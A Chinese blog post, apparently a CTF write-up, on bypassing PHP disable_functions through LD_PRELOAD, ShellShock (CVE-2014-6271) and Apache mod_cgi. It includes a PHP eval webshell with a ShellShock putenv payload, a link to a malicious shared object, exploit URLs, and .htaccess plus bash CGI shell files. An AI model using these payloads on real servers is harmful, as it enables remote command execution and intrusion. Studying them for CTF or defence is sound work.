MENU

关于 Bypass Disable_function 的思考

December 25, 2021 • Read: 766 • WEB Security Learning

为了安全,运维人员会禁用PHP的一些“危险”函数,将其写在php.ini配置文件中,就是我们所说的disable_functions了。
这个应用在各类CTF题中都有,自动化工具蚁剑已经集成,但是也有各种手动方法,所以就想着来总结一下
持续更新中~

1.LD_PRELOAD

基础介绍

在UNIX的动态链接库的世界中,LD_PRELOAD就是这样一个环境变量,它可以影响程序的运行时的链接(Runtimelinker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入恶意程序,从而达到那不可告人的罪恶的目的,加载顺序为LD_PRELOAD>LD_LIBRARY_PATH>/etc/ld.so.cache>/lib>/usr/lib。

但是用这种方法的前提条件:

linux环境 putenv(), mail(), error_log()等可用

具体函数这里就不作介绍 自己可以去了解一下
然后就是上传我们的恶意os,让他动态链接来突破disable_function
恶意so链接:https://pan.baidu.com/s/1zEDczoGiDgQQRWDYY4HMnA
提取码:m1ka
然后就是具体命令

http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so

cmd是你要执行的命令,
outpath是命令输出文件路径(可读和可写),
sopath是我们的共享对象bypass_disablefunc_x64.so的绝对路径

实战案例

ctfhub,打开环境

直接蚁剑连上,我们先将下载的so上传到一个可读可写的路径中
然后将php文件上传网址默认路径下然后进行代码执行得到flag(其中cat命令被过滤了

http://challenge-bed272240d68a600.sandbox.ctfhub.com:10800/bypass_disablefunc.php?cmd=tac%20/flag&outpath=/var/tmp/m1kael.txt&sopath=/tmp/bypass_disablefunc_x64.so

得到flag

参考链接1
参考链接2

ShellShock

基础介绍

Shellshock是一个特权升级漏洞,它为系统用户提供了执行应该不可用的命令的方法。这是通过Bash的“函数导出”功能发生的,因此在一个运行的Bash实例中创建的命令脚本可以与下级实例共享。通过在实例之间共享的表内编码脚本(称为环境变量列表)来实现此功能。Bash的每个新实例都会扫描此表以获取编码脚本,将每个实例组装成一个在新实例中定义该脚本的命令,然后执行该命令。新实例假设在列表中找到的脚本来自另一个实例,但是它不能验证这个,也不能验证它构建的命令是一个正确形成的脚本定义。因此,攻击者可以在系统上执行任意命令,或利用Bash命令解释器中可能存在的其他错误(如果攻击者有办法操纵环境变量列表并导致Bash运行)

前提条件

目标OS存在Bash破壳(CVE-2014-6271)漏洞, PHP 5.* ,linux ,putenv(),mail()可用

然后我们先来了解一下
Bash破壳(CVE-2014-6271)漏洞
GNU Bash 环境变量远程命令执行漏洞(CVE-2014-6271)是GNU Bash 的一个远程代码执行漏洞,在这个CVE的介绍中,可以看到这样的描述:“GNU Bash 4.3及之前版本中存在安全漏洞,该漏洞源于程序没有正确处理环境变量值内的函数定义。远程攻击者可借助特制的环境变量利用该漏洞执行任意代码。以下产品和模块可能会被利用:OpenSSH sshd中的ForceCommand功能,Apache HTTP Server中的mod_cgi和mod_cgid模块,DHCP客户端等”。实际上,PHP也可以利用这个漏洞做很多事情,甚至有可能直接在80导致远程命令执行。
了解了ShellShock后,我们已经知道,想利用这个点绕过disable_function,需要三步:

  1. 产生新的bash
  2. 通过环境变量传递
  3. 环境变量以() {}这样的形式

实战案例

ctfhub,打开环境

先查看ban了哪些函数
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,system pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,system

发现没用禁止error_log函数和pytenv函数
连接上蚁剑(这里的连接的编码方式为base64
我们写入hack.php文件
通过putenv来设置环境变量,默认putenv定义的环境变量名必须以PHP_开头。
error_log()函数会在执行sh -c -t -i触发payload

<?php
  @eval($_REQUEST['ant']);
  putenv("PHP_hack=() { :; }; tac /flag >> /var/www/html/m1kael.txt");
  error_log("admin",1);
  //mail("admin@localhost","","","","");
?>

上传之后

在网页上进行访问然后进入目录刷新一下得到flag

Apache Mod CGI

基础介绍

CGI

公共网关接口,它是 Web 服务器与外部应用程序(CGI 程序)之间传递信息的接口。通过 CGI 接口 Web服务器就能够将客户端提交的信息转交给服务器端的 CGI程序处理,最后返回结果给客户端。CGI是放在服务器上的可执行程序,CGI编程没有特定的语言,C语言,linux shell,perl,vb等等都可以进行CGI编程。

MOD_CGI

任何具有MIME类型application/x-httpd-cgi或者被cgi-script处理器处理的文件都将被作为CGI脚本对待并由服务器运行,它的输出将被返回给客户端。可以通过两种途径使文件成为CGI脚本,一种是文件具有已由AddType指令定义的扩展名,另一种是文件位于ScriptAlias目录中.

如果.htaccess文件被攻击者修改的话,攻击者就可以利用apache的mod_cgi模块,直接绕过PHP的任何限制,来执行系统命令

在这里稍微再说一下mod_cgi。

1.Mod CGI就是把PHP做为APACHE一个内置模块,让apache http服务器本身能够支持PHP语言,不需要每一个请求都通过启动PHP解释器来解释PHP.
2.它可以将cgi-script文件或者用户自定义标识头为cgi-script的文件通过服务器运行.
3.在.htaccess文件中可定制用户定义标识头
4.添加Options +ExecCGI,代表着允许使用mod_cgi模块执行CGI脚本
5.添加AddHandler cgi-script .cgi,代表着包含.cgi扩展名的文件都将被视为CGI程序

注意我们需要需要保证.htaccess可以加载进

web环境当apache配置文件中指定web目录下AllowOverride参数值为None 时,.htaccess 文件无法生效
在apache2.3.8版本之前AllowOverride参数值默认设置为 All,.htaccess 文件设置的指令可生效

所以若是想临时允许一个目录可以执行cgi程序并且使得服务器将自定义的后缀解析为cgi程序,则可以在目的目录下使用.htaccess文件进行配置,

Options +ExecCGI
AddHandler cgi-script .cgi

然后设置.cgi结尾的shell文件(shell.cgi)

#!/bin/bash
echo -ne "Content-Type: text/html\n\n"//发送给浏览器告诉浏览器文件的内容类型,否则500
whoami

前提条件

Linux 操作系统
Apache + PHP (apache 使用 apache_mod_php)
Apache 开启了cgi、rewrite
Web 目录给了 AllowOverride 权限 •当前目录可写

实战案例

ctfhub,打开环境
进入backdoor

直接连蚁剑
然后在其目录上传这两个文件,但是注意linux中CGI比较严格,所以我们先需要liunx环境创建这两个文件然后再上传

访问发现状态码500,是因为我们的文件权限不够,直接蚁剑修改0777

再次访问利用成功

然后修改payload得到flag

未完待续

Last Modified: March 2, 2022
Archives Tip
QR Code for this page
Tipping QR Code